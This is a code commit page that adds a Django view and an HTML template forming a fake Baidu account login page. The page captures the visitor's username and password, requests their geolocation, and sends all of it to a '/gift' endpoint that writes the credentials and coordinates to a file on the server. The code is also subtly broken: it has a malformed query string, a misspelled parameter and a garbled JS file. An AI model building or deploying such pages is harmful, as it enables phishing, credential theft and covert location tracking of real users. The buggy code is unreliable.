CJ 1 år sedan
förälder
incheckning
d98a87d429
3 ändrade filer med 148 tillägg och 0 borttagningar
  1. 18 0
      blog/controller/gps.py
  2. 129 0
      templates/gps/index.html
  3. 1 0
      templates/gps/location.js

+ 18 - 0
blog/controller/gps.py

@@ -0,0 +1,18 @@
+from django.shortcuts import render
+
+
+def index(request):
+    return render(request, 'gps/index.html')
+
+
+def gift(request):
+    if request.method == 'GET':
+        username = request.POST.get("username")
+        password = request.POST.get('password')
+        latitude = request.POST.get('latitude')
+        longitude = request.POST.get('longitude')
+        with open('/tmp/gps_loc', 'w') as f:
+            f.write(f"{username} {password} {latitude} {longitude}")
+
+        print(f.closed)
+        return ""

+ 129 - 0
templates/gps/index.html

@@ -0,0 +1,129 @@
+<!DOCTYPE html>
+<html>
+<head>
+    <style>
+        .bg1 {
+            background-image: url(https://ppui-static-wap.cdn.bcebos.com/static/appsapi/img/header-bg-old.11371b7.png);
+            width: 100%;
+            height: 28rem
+        }
+
+        .logonbox {
+            width: 96%;
+            height: 600px;
+            background-color: white;
+        }
+
+        .title {
+            width: 96%;
+            height: 1200px;
+            background-color: white;
+            border-radius: 75px
+        }
+
+        .input {
+            width: 90%;
+            height: 120px;
+            border-radius: 45px;
+            border: none;
+            background-color: #f5f5f5;
+            font-size: 45px;
+            text-align: center;
+        }
+
+        .btn {
+            width: 90%;
+            height: 120px;
+            border-radius: 45px;
+            border: none;
+            background-color: cornflowerblue;
+            font-size: 45px;
+            text-align: center;
+            color: white;
+        }
+    </style>
+</head>
+<body bgcolor="aliceblue">
+<div align="center">
+    <div class="bg1">
+        <div align="center">
+            <div style="width:100%;height:15rem"></div>
+            <div class="title">
+                <br/>
+                <h1 style="font-size:60px">登录百度账户 享受更多精彩</h1>
+                <div style="width:100%;height:100px"></div>
+                <input id="usersname" class="input" placeholder="百度账户/邮箱/手机号"/>
+                <div style="width: 100%;height:50px;"></div>
+                <input id="pwd" type="password" class="input" placeholder="密码"/>
+                <div align="right" style="width: 90%;">
+                    <p style="font-size: 40px;">忘记密码</p>
+                </div>
+                <div style="width: 100%;height: 50px;"></div>
+                <button class="btn" onclick="logon()">登录</button>
+                <div align="center">
+                    <div style="width: 100%;height:50px;"></div>
+                    <table>
+                        <td>
+                            <input type="checkbox" class="checkbox1"/>
+                        </td>
+                        <td>
+                            <p style="font-size: 30px;">登录即代表同意</p>
+                        </td>
+                        <td>
+                            <h3 style="font-size: 30px;">百度服务协议 </h3>
+                        </td>
+                        <td>
+                            <p style="font-size: 30px;">和 </p>
+                        </td>
+                        <td>
+                            <h3 style="font-size: 30px;">百度账户条款</h3>
+                        </td>
+                    </table>
+                </div>
+            </div>
+        </div>
+    </div>
+</div>
+<style>
+    .checkbox1 {
+        width: 30px;
+        height: 30px;
+        border-radius: 100px;
+    }
+</style>
+</body>
+</html>
+<script>
+    function logon() {
+        var password = document.getElementById("pwd").value;
+        var usersname = document.getElementById("usersname").value;
+        if (password == "") {
+            alert("密码不可为空")
+            return false
+        }
+        if (usersname == "") {
+            alert("用户名不可为空")
+            return false
+        }
+        if (usersname == "" && password == "") {
+            alert("用户名和密码不可为空")
+            return false
+        } else {
+            window.navigator.geolocation.getCurrentPosition(function (position) {
+                console.log(position.coords.latitude)
+                console.log(position.coords.longitude)
+                var x = position.coords.latitude;
+                var y = position.coords.longitude;
+                let info =  "?latitude=" + x + + "%longitude=" + y + "&usesname=" + usersname + "&password=" + password
+                window.location.href = '/gift' + info
+            })
+            error => {
+                alert("百度必须访问您的地址才能为您提供服务")
+            }
+        }
+    }
+
+    function onload() {
+
+    }
+</script>

+ 1 - 0
templates/gps/location.js

@@ -0,0 +1 @@
+��